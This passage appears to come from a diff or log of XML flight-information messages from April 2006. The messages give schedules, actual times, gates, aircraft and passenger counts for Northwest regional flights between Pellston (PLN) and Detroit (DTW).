</inflt_svc_rmks><flt_typ_cde>XJ</flt_typ_cde><cshr_flt_id_grp><al_cde>CO</al_cde><flt_num>7162</flt_num></cshr_flt_id_grp><dptr_iop_actn_cde> </dptr_iop_actn_cde><arvl_iop_actn_cde> </arvl_iop_actn_cde><dptr_iop_rsn_cde> </dptr_iop_rsn_cde><arvl_iop_rsn_cde> </arvl_iop_rsn_cde><downline_leg_ind>N</downline_leg_ind><overfly_ind>N</overfly_ind><cncl_ind>N</cncl_ind><sked_dptr_ind>Y</sked_dptr_ind><sked_arvl_ind>Y</sked_arvl_ind><flt_psgr_grp><f_bpsgr_cnt>0</f_bpsgr_cnt><j_bpsgr_cnt>0</j_bpsgr_cnt><y_bpsgr_cnt>23</y_bpsgr_cnt><f_wlpsgr_cnt>0</f_wlpsgr_cnt><j_wlpsgr_cnt>0</j_wlpsgr_cnt><y_wlpsgr_cnt>2</y_wlpsgr_cnt><f_psgr_cnt>0</f_psgr_cnt><j_psgr_cnt>0</j_psgr_cnt><y_psgr_cnt>0</y_psgr_cnt><f_child_cnt>0</f_child_cnt><j_child_cnt>0</j_child_cnt><y_child_cnt>0</y_child_cnt><f_infant_cnt>0</f_infant_cnt><j_infant_cnt>0</j_infant_cnt><y_infant_cnt>0</y_infant_cnt><ckpt_crew_cnt>0</ckpt_crew_cnt><cbn_crew_cnt>0</cbn_crew_cnt></flt_psgr_grp><src_upd_id>GATE</src_upd_id><src_sys_dtm typ=\"3\">2006-04-21T01:41:00Z</src_sys_dtm></flt_data></fds_fidspln>
+
+--------------END---------------
+
+--------------START---------------
+<?xml version=\"1.0\"?>
+<fds_fidspln><msg_hdr><msg_vers_id>1.0</msg_vers_id><msg_dtm typ=\"3\">2006-04-28T10:25:55Z</msg_dtm><msg_seq_id>114621995500000001</msg_seq_id><msg_prodr_id>fdsd1_post29_p</msg_prodr_id><msg_scrty/><msg_debug/></msg_hdr><flt_data><flt_key><flt_orig_dte typ=\"1\">2006-04-28</flt_orig_dte><al_cde>NW</al_cde><flt_num>3202</flt_num><leg_orig_ap_cde>PLN</leg_orig_ap_cde><leg_dest_ap_cde>DTW</leg_dest_ap_cde><leg_orig_vers_num>1</leg_orig_vers_num></flt_key><flt_sked><leg_orig_ap_cde>PLN</leg_orig_ap_cde><leg_dest_ap_cde>DTW</leg_dest_ap_cde><out_dtm typ=\"2\">2006-04-28T06:17:00</out_dtm><off_dtm typ=\"2\">2006-04-28T06:22:00</off_dtm><on_dtm typ=\"2\">2006-04-28T07:36:00</on_dtm><in_dtm typ=\"2\">2006-04-28T07:41:00</in_dtm></flt_sked><flt_oooi><out_dtm typ=\"2\">2006-04-28T06:17:00</out_dtm><out_tme_type_cde>E</out_tme_type_cde><off_dtm typ=\"2\">2006-04-28T06:22:00</off_dtm><off_tme_type_cde>E</off_tme_type_cde><on_dtm typ=\"2\">2006-04-28T07:36:00</on_dtm><on_tme_type_cde>E</on_tme_type_cde><in_dtm typ=\"2\">2006-04-28T07:41:00</in_dtm><in_tme_type_cde>E</in_tme_type_cde></flt_oooi><delay_cde></delay_cde><dptr_gate>1</dptr_gate><arvl_gate>C20</arvl_gate><flt_radio_cde>3202</flt_radio_cde><ac_num>7448</ac_num><ac_reg_num>N448XJ</ac_reg_num><subfleet>SFC</subfleet><flt_rmks>On Time</flt_rmks><inflt_svc_rmks> </inflt_svc_rmks><flt_typ_cde>XJ</flt_typ_cde><cshr_flt_id_grp><al_cde>CO</al_cde><flt_num>7162</flt_num></cshr_flt_id_grp><dptr_iop_actn_cde> </dptr_iop_actn_cde><arvl_iop_actn_cde> </arvl_iop_actn_cde><dptr_iop_rsn_cde> </dptr_iop_rsn_cde><arvl_iop_rsn_cde> </arvl_iop_rsn_cde><downline_leg_ind>N</downline_leg_ind><overfly_ind>N</overfly_ind><cncl_ind>N</cncl_ind><sked_dptr_ind>Y</sked_dptr_ind><sked_arvl_ind>Y</sked_arvl_ind><flt_psgr_grp><f_bpsgr_cnt>0</f_bpsgr_cnt><j_bpsgr_cnt>0</j_bpsgr_cnt><y_bpsgr_cnt>23</y_bpsgr_cnt><f_wlpsgr_cnt>0</f_wlpsgr_cnt><j_wlpsgr_cnt>0</j_wlpsgr_cnt><y_wlpsgr_cnt>2</y_wlpsgr_cnt><f_psgr_cnt>0</f_psgr_cnt><j_psgr_cnt>0</j_psgr_cnt><y_psgr_cnt>22</y_psgr_cnt><f_child_cnt>0</f_child_cnt><j_child_cnt>0</j_child_cnt><y_child_cnt>0</y_child_cnt><f_infant_cnt>0</f_infant_cnt><j_infant_cnt>0</j_infant_cnt><y_infant_cnt>0</y_infant_cnt><ckpt_crew_cnt>2</ckpt_crew_cnt><cbn_crew_cnt>1</cbn_crew_cnt></flt_psgr_grp><src_upd_id>GATE</src_upd_id><src_sys_dtm typ=\"3\">2006-04-21T01:41:00Z</src_sys_dtm></flt_data></fds_fidspln>
+
+--------------END---------------
+
+--------------START---------------
+<?xml version=\"1.0\"?>
+<fds_fidspln><msg_hdr><msg_vers_id>1.0</msg_vers_id><msg_dtm typ=\"3\">2006-04-28T10:41:15Z</msg_dtm><msg_seq_id>114622087500000001</msg_seq_id><msg_prodr_id>fdsd1_post29_p</msg_prodr_id><msg_scrty/><msg_debug/></msg_hdr><flt_data><flt_key><flt_orig_dte typ=\"1\">2006-04-28</flt_orig_dte><al_cde>NW</al_cde><flt_num>3202</flt_num><leg_orig_ap_cde>PLN</leg_orig_ap_cde><leg_dest_ap_cde>DTW</leg_dest_ap_cde><leg_orig_vers_num>1</leg_orig_vers_num></flt_key><flt_sked><leg_orig_ap_cde>PLN</leg_orig_ap_cde><leg_dest_ap_cde>DTW</leg_dest_ap_cde><out_dtm typ=\"2\">2006-04-28T06:17:00</out_dtm><off_dtm typ=\"2\">2006-04-28T06:22:00</off_dtm><on_dtm typ=\"2\">2006-04-28T07:36:00</on_dtm><in_dtm typ=\"2\">2006-04-28T07:41:00</in_dtm></flt_sked><flt_oooi><out_dtm typ=\"2\">2006-04-28T06:13:00</out_dtm><out_tme_type_cde>A</out_tme_type_cde><off_dtm typ=\"2\">2006-04-28T06:35:00</off_dtm><off_tme_type_cde>A</off_tme_type_cde><on_dtm typ=\"2\">2006-04-28T07:49:00</on_dtm><on_tme_type_cde>E</on_tme_type_cde><in_dtm typ=\"2\">2006-04-28T07:54:00</in_dtm><in_tme_type_cde>E</in_tme_type_cde></flt_oooi><delay_cde>   </delay_cde><dptr_gate>1</dptr_gate><arvl_gate>C20</arvl_gate><flt_radio_cde>3202</flt_radio_cde><ac_num>7448</ac_num><ac_reg_num>N448XJ</ac_reg_num><subfleet>SFC</subfleet><flt_rmks>Departed</flt_rmks><inflt_svc_rmks> </inflt_svc_rmks><flt_typ_cde>XJ</flt_typ_cde><cshr_flt_id_grp><al_cde>CO</al_cde><flt_num>7162</flt_num></cshr_flt_id_grp><dptr_iop_actn_cde> </dptr_iop_actn_cde><arvl_iop_actn_cde> </arvl_iop_actn_cde><dptr_iop_rsn_cde> </dptr_iop_rsn_cde><arvl_iop_rsn_cde> </arvl_iop_rsn_cde><downline_leg_ind>N</downline_leg_ind><overfly_ind>N</overfly_ind><cncl_ind>N</cncl_ind><sked_dptr_ind>Y</sked_dptr_ind><sked_arvl_ind>Y</sked_arvl_ind><flt_psgr_grp><f_bpsgr_cnt>0</f_bpsgr_cnt><j_bpsgr_cnt>0</j_bpsgr_cnt><y_bpsgr_cnt>23</y_bpsgr_cnt><f_wlpsgr_cnt>0</f_wlpsgr_cnt><j_wlpsgr_cnt>0</j_wlpsgr_cnt><y_wlpsgr_cnt>2</y_wlpsgr_cnt><f_psgr_cnt>0</f_psgr_cnt><j_psgr_cnt>0</j_psgr_cnt><y_psgr_cnt>22</y_psgr_cnt><f_child_cnt>0</f_child_cnt><j_child_cnt>0</j_child_cnt><y_child_cnt>0</y_child_cnt><f_infant_cnt>0</f_infant_cnt><j_infant_cnt>0</j_infant_cnt><y_infant_cnt>0</y_infant_cnt><ckpt_crew_cnt>2</ckpt_crew_cnt><cbn_crew_cnt>1</cbn_crew_cnt></flt_psgr_grp><src_upd_id>TU</src_upd_id><src_sys_dtm typ=\"3\">2006-04-21T01:41:00Z</src_sys_dtm></flt_data></fds_fidspln>
+
+--------------END---------------
+
+--------------START---------------
+<?xml version=\"1.0\"?>
+<fds_fidspln><msg_hdr><msg_vers_id>1.0</msg_vers_id><msg_dtm typ=\"3\">2006-04-28T11:11:19Z</msg_dtm><msg_seq_id>114622267900000001</msg_seq_id><msg_prodr_id>fdsd1_post29_p</msg_prodr_id><msg_scrty/><msg_debug/></msg_hdr><flt_data><flt_key><flt_orig_dte typ=\"1\">2006-04-28</flt_orig_dte><al_cde>NW</al_cde><flt_num>3202</flt_num><leg_orig_ap_cde>PLN</leg_orig_ap_cde><leg_dest_ap_cde>DTW</leg_dest_ap_cde><leg_orig_vers_num>1</leg_orig_vers_num></flt_key><flt_sked><leg_orig_ap_cde>PLN</leg_orig_ap_cde><leg_dest_ap_cde>DTW</leg_dest_ap_cde><out_dtm typ=\"2\">2006-04-28T06:17:00</out_dtm><off_dtm typ=\"2\">2006-04-28T06:22:00</off_dtm><on_dtm typ=\"2\">2006-04-28T07:36:00</on_dtm><in_dtm typ=\"2\">2006-04-28T07:41:00</in_dtm></flt_sked><flt_oooi><out_dtm typ=\"2\">2006-04-28T06:13:00</out_dtm><out_tme_type_cde>A</out_tme_type_cde><off_dtm typ=\"2\">2006-04-28T06:35:00</off_dtm><off_tme_type_cde>A</off_tme_type_cde><on_dtm typ=\"2\">2006-04-28T07:32:00</on_dtm><on_tme_type_cde>R</on_tme_type_cde><in_dtm typ=\"2\">2006-04-28T07:37:00</in_dtm><in_tme_type_cde>R</in_tme_type_cde></flt_oooi><delay_cde>   </delay_cde><dptr_gate>1</dptr_gate><arvl_gate>C20</arvl_gate><flt_radio_cde>3202</flt_radio_cde><ac_num>7448</ac_num><ac_reg_num>N448XJ</ac_reg_num><subfleet>SFC</subfleet><flt_rmks>Departed</flt_rmks><inflt_svc_rmks> </inflt_svc_rmks><flt_typ_cde>XJ</flt_typ_cde><cshr_flt_id_grp><al_cde>CO</al_cde><flt_num>7162</flt_num></cshr_flt_id_grp><dptr_iop_actn_cde> </dptr_iop_actn_cde><arvl_iop_actn_cde> </arvl_iop_actn_cde><dptr_iop_rsn_cde> </dptr_iop_rsn_cde><arvl_iop_rsn_cde> </arvl_iop_rsn_cde><downline_leg_ind>N</downline_leg_ind><overfly_ind>N</overfly_ind><cncl_ind>N</cncl_ind><sked_dptr_ind>Y</sked_dptr_ind><sked_arvl_ind>Y</sked_arvl_ind><flt_psgr_grp><f_bpsgr_cnt>0</f_bpsgr_cnt><j_bpsgr_cnt>0</j_bpsgr_cnt><y_bpsgr_cnt>23</y_bpsgr_cnt><f_wlpsgr_cnt>0</f_wlpsgr_cnt><j_wlpsgr_cnt>0</j_wlpsgr_cnt><y_wlpsgr_cnt>2</y_wlpsgr_cnt><f_psgr_cnt>0</f_psgr_cnt><j_psgr_cnt>0</j_psgr_cnt><y_psgr_cnt>22</y_psgr_cnt><f_child_cnt>0</f_child_cnt><j_child_cnt>0</j_child_cnt><y_child_cnt>0</y_child_cnt><f_infant_cnt>0</f_infant_cnt><j_infant_cnt>0</j_infant_cnt><y_infant_cnt>0</y_infant_cnt><ckpt_crew_cnt>2</ckpt_crew_cnt><cbn_crew_cnt>1</cbn_crew_cnt></flt_psgr_grp><src_upd_id>TU</src_upd_id><src_sys_dtm typ=\"3\">2006-04-21T01:41:00Z</src_sys_dtm></flt_data></fds_fidspln>
+
+--------------END---------------
+
+--------------START---------------
+<?xml version=\"1.0\"?>
+<fds_fidspln><msg_hdr><msg_vers_id>1.0</msg_vers_id><msg_dtm typ=\"3\">2006-04-28T11:40:39Z</msg_dtm><msg_seq_id>114622443900000001</msg_seq_id><msg_prodr_id>fdsd1_post29_p</msg_prodr_id><msg_scrty/><msg_debug/></msg_hdr><flt_data><flt_key><flt_orig_dte typ=\"1\">2006-04-28</flt_orig_dte><al_cde>NW</al_cde><flt_num>3202</flt_num><leg_orig_ap_cde>PLN</leg_orig_ap_cde><leg_dest_ap_cde>DTW</leg_dest_ap_cde><leg_orig_vers_num>1</leg_orig_vers_num></flt_key><flt_sked><leg_orig_ap_cde>PLN</leg_orig_ap_cde><leg_dest_ap_cde>DTW</leg_dest_ap_cde><out_dtm typ=\"2\">2006-04-28T06:17:00</out_dtm><off_dtm typ=\"2\">2006-04-28T06:22:00</off_dtm><on_dtm typ=\"2\">2006-04-28T07:36:00</on_dtm><in_dtm typ=\"2\">2006-04-28T07:41:00</in_dtm></flt_sked><flt_oooi><out_dtm typ=\"2\">2006-04-28T06:13:00</out_dtm><out_tme_type_cde>A</out_tme_type_cde><off_dtm typ=\"2\">2006-04-28T06:35:00</off_dtm><off_tme_type_cde>A</off_tme_type_cde><on_dtm typ=\"2\">2006-04-28T07:38:00</on_dtm><on_tme_type_cde>A</on_tme_type_cde><in_dtm typ=\"2\">2006-04-28T07:43:00</in_dtm><in_tme_type_cde>R</in_tme_type_cde></flt_oooi><delay_cde>   </delay_cde><dptr_gate>1</dptr_gate><arvl_gate>C20</arvl_gate><flt_radio_cde>3202</flt_radio_cde><ac_num>7448</ac_num><ac_reg_num>N448XJ</ac_reg_num><subfleet>SFC</subfleet><flt_rmks>Departed</flt_rmks><inflt_svc_rmks> </inflt_svc_rmks><flt_typ_cde>XJ</flt_typ_cde><cshr_flt_id_grp><al_cde>CO</al_cde><flt_num>7162</flt_num></cshr_flt_id_grp><dptr_iop_actn_cde> </dptr_iop_actn_cde><arvl_iop_actn_cde> </arvl_iop_actn_cde><dptr_iop_rsn_cde> </dptr_iop_rsn_cde><arvl_iop_rsn_cde> </arvl_iop_rsn_cde><downline_leg_ind>N</downline_leg_ind><overfly_ind>N</overfly_ind><cncl_ind>N</cncl_ind><sked_dptr_ind>Y</sked_dptr_ind><sked_arvl_ind>Y</sked_arvl_ind><flt_psgr_grp><f_bpsgr_cnt>0</f_bpsgr_cnt><j_bpsgr_cnt>0</j_bpsgr_cnt><y_bpsgr_cnt>23</y_bpsgr_cnt><f_wlpsgr_cnt>0</f_wlpsgr_cnt><j_wlpsgr_cnt>0</j_wlpsgr_cnt><y_wlpsgr_cnt>2</y_wlpsgr_cnt><f_psgr_cnt>0</f_psgr_cnt><j_psgr_cnt>0</j_psgr_cnt><y_psgr_cnt>22</y_psgr_cnt><f_child_cnt>0</f_child_cnt><j_child_cnt>0</j_child_cnt><y_child_cnt>0</y_child_cnt><f_infant_cnt>0</f_infant_cnt><j_infant_cnt>0</j_infant_cnt><y_infant_cnt>0</y_infant_cnt><ckpt_crew_cnt>2</ckpt_crew_cnt><cbn_crew_cnt>1</cbn_crew_cnt></flt_psgr_grp><src_upd_id>TU</src_upd_id><src_sys_dtm typ=\"3\">2006-04-21T01:41:00Z</src_sys_dtm></flt_data></fds_fidspln>
+
+--------------END---------------
+
+--------------START---------------
+<?xml version=\"1.0\"?>
+<fds_fidspln><msg_hdr><msg_vers_id>1.0</msg_vers_id><msg_dtm typ=\"3\">2006-04-28T11:51:39Z</msg_dtm><msg_seq_id>114622509900000001</msg_seq_id><msg_prodr_id>fdsd1_post29_p</msg_prodr_id><msg_scrty/><msg_debug/></msg_hdr><flt_data><flt_key><flt_orig_dte typ=\"1\">2006-04-28</flt_orig_dte><al_cde>NW</al_cde><flt_num>3202</flt_num><leg_orig_ap_cde>PLN</leg_orig_ap_cde><leg_dest_ap_cde>DTW</leg_dest_ap_cde><leg_orig_vers_num>1</leg_orig_vers_num></flt_key><flt_sked><leg_orig_ap_cde>PLN</leg_orig_ap_cde><leg_dest_ap_cde>DTW</leg_dest_ap_cde><out_dtm typ=\"2\">2006-04-28T06:17:00</out_dtm><off_dtm typ=\"2\">2006-04-28T06:22:00</off_dtm><on_dtm typ=\"2\">2006-04-28T07:36:00</on_dtm><in_dtm typ=\"2\">2006-04-28T07:41:00</in_dtm></flt_sked><flt_oooi><out_dtm typ=\"2\">2006-04-28T06:13:00</out_dtm><out_tme_type_cde>A</out_tme_type_cde><off_dtm typ=\"2\">2006-04-28T06:35:00</off_dtm><off_tme_type_cde>A</off_tme_type_cde><on_dtm typ=\"2\">2006-04-28T07:38:00</on_dtm><on_tme_type_cde>A</on_tme_type_cde><in_dtm typ=\"2\">2006-04-28T07:52:00</in_dtm><in_tme_type_cde>A</in_tme_type_cde></flt_oooi><delay_cde>   </delay_cde><dptr_gate>1</dptr_gate><arvl_gate>C20</arvl_gate><flt_radio_cde>3202</flt_radio_cde><ac_num>7448</ac_num><ac_reg_num>N448XJ</ac_reg_num><subfleet>SFC</subfleet><flt_rmks>Departed</flt_rmks><inflt_svc_rmks> </inflt_svc_rmks><flt_typ_cde>XJ</flt_typ_cde><cshr_flt_id_grp><al_cde>CO</al_cde><flt_num>7162</flt_num></cshr_flt_id_grp><dptr_iop_actn_cde> </dptr_iop_actn_cde><arvl_iop_actn_cde> </arvl_iop_actn_cde><dptr_iop_rsn_cde> </dptr_iop_rsn_cde><arvl_iop_rsn_cde> </arvl_iop_rsn_cde><downline_leg_ind>N</downline_leg_ind><overfly_ind>N</overfly_ind><cncl_ind>N</cncl_ind><sked_dptr_ind>Y</sked_dptr_ind><sked_arvl_ind>Y</sked_arvl_ind><flt_psgr_grp><f_bpsgr_cnt>0</f_bpsgr_cnt><j_bpsgr_cnt>0</j_bpsgr_cnt><y_bpsgr_cnt>23</y_bpsgr_cnt><f_wlpsgr_cnt>0</f_wlpsgr_cnt><j_wlpsgr_cnt>0</j_wlpsgr_cnt><y_wlpsgr_cnt>2</y_wlpsgr_cnt><f_psgr_cnt>0</f_psgr_cnt><j_psgr_cnt>0</j_psgr_cnt><y_psgr_cnt>22</y_psgr_cnt><f_child_cnt>0</f_child_cnt><j_child_cnt>0</j_child_cnt><y_child_cnt>0</y_child_cnt><f_infant_cnt>0</f_infant_cnt><j_infant_cnt>0</j_infant_cnt><y_infant_cnt>0</y_infant_cnt><ckpt_crew_cnt>2</ckpt_crew_cnt><cbn_crew_cnt>1</cbn_crew_cnt></flt_psgr_grp><src_upd_id>TU</src_upd_id><src_sys_dtm typ=\"3\">2006-04-21T01:41:00Z</src_sys_dtm></flt_data></fds_fidspln>
+
+--------------END---------------
+
+--------------START---------------
+<?xml version=\"1.0\"?>
+<fds_fidspln><msg_hdr><msg_vers_id>1.0</msg_vers_id><msg_dtm typ=\"3\">2006-04-28T12:07:45Z</msg_dtm><msg_seq_id>114622606500000001</msg_seq_id><msg_prodr_id>fdsd1_post29_p</msg_prodr_id><msg_scrty/><msg_debug/></msg_hdr><flt_data><flt_key><flt_orig_dte typ=\"1\">2006-04-29</flt_orig_dte><al_cde>NW</al_cde><flt_num>2981</flt_num><leg_orig_ap_cde>DTW</leg_orig_ap_cde><leg_dest_ap_cde>PLN</leg_dest_ap_cde><leg_orig_vers_num>1</leg_orig_vers_num></flt_key><flt_sked><leg_orig_ap_cde>DTW</leg_orig_ap_cde><leg_dest_ap_cde>PLN</leg_dest_ap_cde><out_dtm typ=\"2\">2006-04-29T15:17:00</out_dtm><off_dtm typ=\"2\">2006-04-29T15:36:00</off_dtm><on_dtm typ=\"2\">2006-04-29T16:25:00</on_dtm><in_dtm typ=\"2\">2006-04-29T16:30:00</in_dtm></flt_sked><flt_oooi><out_dtm typ=\"2\">2006-04-29T15:17:00</out_dtm><out_tme_type_cde>S</out_tme_type_cde><off_dtm typ=\"2\">2006-04-29T15:36:00</off_dtm><off_tme_type_cde>S</off_tme_type_cde><on_dtm typ=\"2\">2006-04-29T16:25:00</on_dtm><on_tme_type_cde>S</on_tme_type_cde><in_dtm typ=\"2\">2006-04-29T16:30:00</in_dtm><in_tme_type_cde>S</in_tme_type_cde></flt_oooi><delay_cde></delay_cde><dptr_gate>C35</dptr_gate><arvl_gate>1</arvl_gate><flt_radio_cde/><ac_num>0</ac_num><ac_reg_num></ac_reg_num><subfleet>CR4</subfleet><flt_rmks>On Time</flt_rmks><inflt_svc_rmks> </inflt_svc_rmks><flt_typ_cde>9E</flt_typ_cde><cshr_flt_id_grp><al_cde>CO</al_cde><flt_num>7254</flt_num></cshr_flt_id_grp><cshr_flt_id_grp><al_cde>KL</al_cde><flt_num>5981</flt_num></cshr_flt_id_grp><dptr_iop_actn_cde> </dptr_iop_actn_cde><arvl_iop_actn_cde> </arvl_iop_actn_cde><dptr_iop_rsn_cde> </dptr_iop_rsn_cde><arvl_iop_rsn_cde> </arvl_iop_rsn_cde><downline_leg_ind>N</downline_leg_ind><overfly_ind>N</overfly_ind><cncl_ind>N</cncl_ind><sked_dptr_ind>Y</sked_dptr_ind><sked_arvl_ind>Y</sked_arvl_ind><prevpax><flt_orig_dte>2006-04-29</flt_orig_dte><al_cde>NW</al_cde><flt_num>2981</flt_num><leg_orig_ap_cde>FWA</leg_orig_ap_cde><leg_dest_ap_cde>DTW</leg_dest_ap_cde></prevpax><flt_psgr_grp><f_bpsgr_cnt>0</f_bpsgr_cnt><j_bpsgr_cnt>0</j_bpsgr_cnt><y_bpsgr_cnt>39</y_bpsgr_cnt><f_wlpsgr_cnt>0</f_wlpsgr_cnt><j_wlpsgr_cnt>0</j_wlpsgr_cnt><y_wlpsgr_cnt>2</y_wlpsgr_cnt><f_psgr_cnt>0</f_psgr_cnt><j_psgr_cnt>0</j_psgr_cnt><y_psgr_cnt>0</y_psgr_cnt><f_child_cnt>0</f_child_cnt><j_child_cnt>0</j_child_cnt><y_child_cnt>0</y_child_cnt><f_infant_cnt>0</f_infant_cnt><j_infant_cnt>0</j_infant_cnt><y_infant_cnt>0</y_infant_cnt><ckpt_crew_cnt>0</ckpt_crew_cnt><cbn_crew_cnt>0</cbn_crew_cnt></flt_psgr_grp><src_upd_id>REINITDB</src_upd_id><src_sys_dtm typ=\"3\">2006-04-22T01:43:00Z</src_sys_dtm></flt_data></fds_fidspln>
+
+--------------END---------------
+
+--------------START---------------
+<?xml version=\"1.0\"?>
+<fds_fidspln><msg_hdr><msg_vers_id>1.0</msg_vers_id><msg_dtm typ=\"3\">2006-04-28T13:10:05Z</msg_dtm><msg_seq_id>114622980500000001</msg_seq_id><msg_prodr_id>fdsd1_post29_p</msg_prodr_id><msg_scrty/><msg_debug/></msg_hdr><flt_data><flt_key><flt_orig_dte typ=\"1\">2006-04-29</flt_orig_dte><al_cde>NW</al_cde><flt_num>2863</flt_num><leg_orig_ap_cde>PLN</leg_orig_ap_cde><leg_dest_ap_cde>DTW</leg_dest_ap_cde><leg_orig_vers_num>1</leg_orig_vers_num></flt_key><flt_sked><leg_orig_ap_cde>PLN</leg_orig_ap_cde><leg_dest_ap_cde>DTW</leg_dest_ap_cde><out_dtm typ=\"2\">2006-04-29T17:00:00</out_dtm><off_dtm typ=\"2\">2006-04-29T17:15:00</off_dtm><on_dtm typ=\"2\">2006-04-29T18:00:00</on_dtm><in_dtm typ=\"2\">2006-04-29T18:10:00</in_dtm></flt_sked><flt_oooi><out_dtm typ=\"2\">2006-04-29T17:00:00</out_dtm><out_tme_type_cde>S</out_tme_type_cde><off_dtm typ=\"2\">2006-04-29T17:15:00</off_dtm><off_tme_type_cde>S</off_tme_type_cde><on_dtm typ=\"2\">2006-04-29T18:00:00</on_dtm><on_tme_type_cde>S</on_tme_type_cde><in_dtm typ=\"2\">2006-04-29T18:10:00</in_dtm><in_tme_type_cde>S</in_tme_type_cde></flt_oooi><delay_cde></delay_cde><dptr_gate>1</dptr_gate><arvl_gate>B3</arvl_gate><flt_radio_cde/><ac_num>0</ac_num><ac_reg_num></ac_reg_num><subfleet>CR4</subfleet><flt_rmks>On Time</flt_rmks><inflt_svc_rmks> </inflt_svc_rmks><flt_typ_cde>9E</flt_typ_cde><cshr_flt_id_grp><al_cde>CO</al_cde><flt_num>7249</flt_num></cshr_flt_id_grp><cshr_flt_id_grp><al_cde>KL</al_cde><flt_num>7063</flt_num></cshr_flt_id_grp><dptr_iop_actn_cde> </dptr_iop_actn_cde><arvl_iop_actn_cde> </arvl_iop_actn_cde><dptr_iop_rsn_cde> </dptr_iop_rsn_cde><arvl_iop_rsn_cde> </arvl_iop_rsn_cde><downline_leg_ind>N</downline_leg_ind><overfly_ind>N</overfly_ind><cncl_ind>N</cncl_ind><sked_dptr_ind>Y</sked_dptr_ind><sked_arvl_ind>Y</sked_arvl_ind><onwdpax><flt_orig_dte>2006-04-29</flt_orig_dte><al_cde>NW</al_cde><flt_num>2863</flt_num><leg_orig_ap_cde>DTW</leg_orig_ap_cde><leg_dest_ap_cde>CVG</leg_dest_ap_cde></onwdpax><flt_psgr_grp><f_bpsgr_cnt>0</f_bpsgr_cnt><j_bpsgr_cnt>0</j_bpsgr_cnt><y_bpsgr_cnt>16</y_bpsgr_cnt><f_wlpsgr_cnt>0</f_wlpsgr_cnt><j_wlpsgr_cnt>0</j_wlpsgr_cnt><y_wlpsgr_cnt>2</y_wlpsgr_cnt><f_psgr_cnt>0</f_psgr_cnt><j_psgr_cnt>0</j_psgr_cnt><y_psgr_cnt>0</y_psgr_cnt><f_child_cnt>0</f_child_cnt><j_child_cnt>0</j_child_cnt><y_child_cnt>0</y_child_cnt><f_infant_cnt>0</f_infant_cnt><j_infant_cnt>0</j_infant_cnt><y_infant_cnt>0</y_infant_cnt><ckpt_crew_cnt>0</ckpt_crew_cnt><cbn_crew_cnt>0</cbn_crew_cnt></flt_psgr_grp><src_upd_id>REINITDB</src_upd_id><src_sys_dtm typ=\"3\">2006-04-22T01:42:00Z</src_sys_dtm></flt_data></fds_fidspln>
+
+--------------END---------------
+
+--------------START---------------
+<?xml version=\"1.0\"?>
+<fds_fidspln><msg_hdr><msg_vers_id>1.0</msg_vers_id><msg_dtm typ=\"3\">2006-04-28T13:15:09Z</msg_dtm><msg_seq_id>114623010900000001</msg_seq_id><msg_prodr_id>fdsd1_post29_p</msg_prodr_id><msg_scrty/><msg_debug/></msg_hdr><flt_data><flt_key><flt_orig_dte typ=\"1\">2006-04-28</flt_orig_dte><al_cde>NW</al_cde><flt_num>3207</flt_num><leg_orig_ap_cde>DTW</leg_orig_ap_cde><leg_dest_ap_cde>PLN</leg_dest_ap_cde><leg_orig_vers_num>1</leg_orig_vers_num></flt_key><flt_sked><leg_orig_ap_cde>DTW</leg_orig_ap_cde><leg_dest_ap_cde>PLN</leg_dest_ap_cde><out_dtm typ=\"2\">2006-04-28T09:05:00</out_dtm><off_dtm typ=\"2\">2006-04-28T09:15:00</off_dtm><on_dtm typ=\"2\">2006-04-28T10:32:00</on_dtm><in_dtm typ=\"2\">2006-04-28T10:37:00</in_dtm></flt_sked><flt_oooi><out_dtm typ=\"2\">2006-04-28T09:05:00</out_dtm><out_tme_type_cde>A</out_tme_type_cde><off_dtm typ=\"2\">2006-04-28T09:15:00</off_dtm><off_tme_type_cde>E</off_tme_type_cde><on_dtm typ=\"2\">2006-04-28T10:32:00</on_dtm><on_tme_type_cde>E</on_tme_type_cde><in_dtm typ=\"2\">2006-04-28T10:37:00</in_dtm><in_tme_type_cde>E</in_tme_type_cde></flt_oooi><delay_cde>   </delay_cde><dptr_gate>C43</dptr_gate><arvl_gate>1</arvl_gate><flt_radio_cde>3207</flt_radio_cde><ac_num>7439</ac_num><ac_reg_num>N439XJ</ac_reg_num><subfleet>SFC</subfleet><flt_rmks>On Time</flt_rmks><inflt_svc_rmks> </inflt_svc_rmks><flt_typ_cde>XJ</flt_typ_cde><cshr_flt_id_grp><al_cde>CO</al_cde><flt_num>7460</flt_num></cshr_flt_id_grp><dptr_iop_actn_cde> </dptr_iop_actn_cde><arvl_iop_actn_cde> </arvl_iop_actn_cde><dptr_iop_rsn_cde> </dptr_iop_rsn_cde><arvl_iop_rsn_cde> </arvl_iop_rsn_cde><downline_leg_ind>N</downline_leg_ind><overfly_ind>N</overfly_ind><cncl_ind>N</cncl_ind><sked_dptr_ind>Y</sked_dptr_ind><sked_arvl_ind>Y</sked_arvl_ind><flt_psgr_grp><f_bpsgr_cnt>0</f_bpsgr_cnt><j_bpsgr_cnt>0</j_bpsgr_cnt><y_bpsgr_cnt>7</y_bpsgr_cnt><f_wlpsgr_cnt>0</f_wlpsgr_cnt><j_wlpsgr_cnt>0</j_wlpsgr_cnt><y_wlpsgr_cnt>4</y_wlpsgr_cnt><f_psgr_cnt>0</f_psgr_cnt><j_psgr_cnt>0</j_psgr_cnt><y_psgr_cnt>9</y_psgr_cnt><f_child_cnt>0</f_child_cnt><j_child_cnt>0</j_child_cnt><y_child_cnt>0</y_child_cnt><f_infant_cnt>0</f_infant_cnt><j_infant_cnt>0</j_infant_cnt><y_infant_cnt>0</y_infant_cnt><ckpt_crew_cnt>2</ckpt_crew_cnt><cbn_crew_cnt>1</cbn_crew_cnt></flt_psgr_grp><src_upd_id>TU</src_upd_id><src_sys_dtm typ=\"3\">2006-04-21T01:41:00Z</src_sys_dtm></flt_data></fds_fidspln>
+
+--------------END---------------
+
+--------------START---------------
+<?xml version=\"1.0\"?>
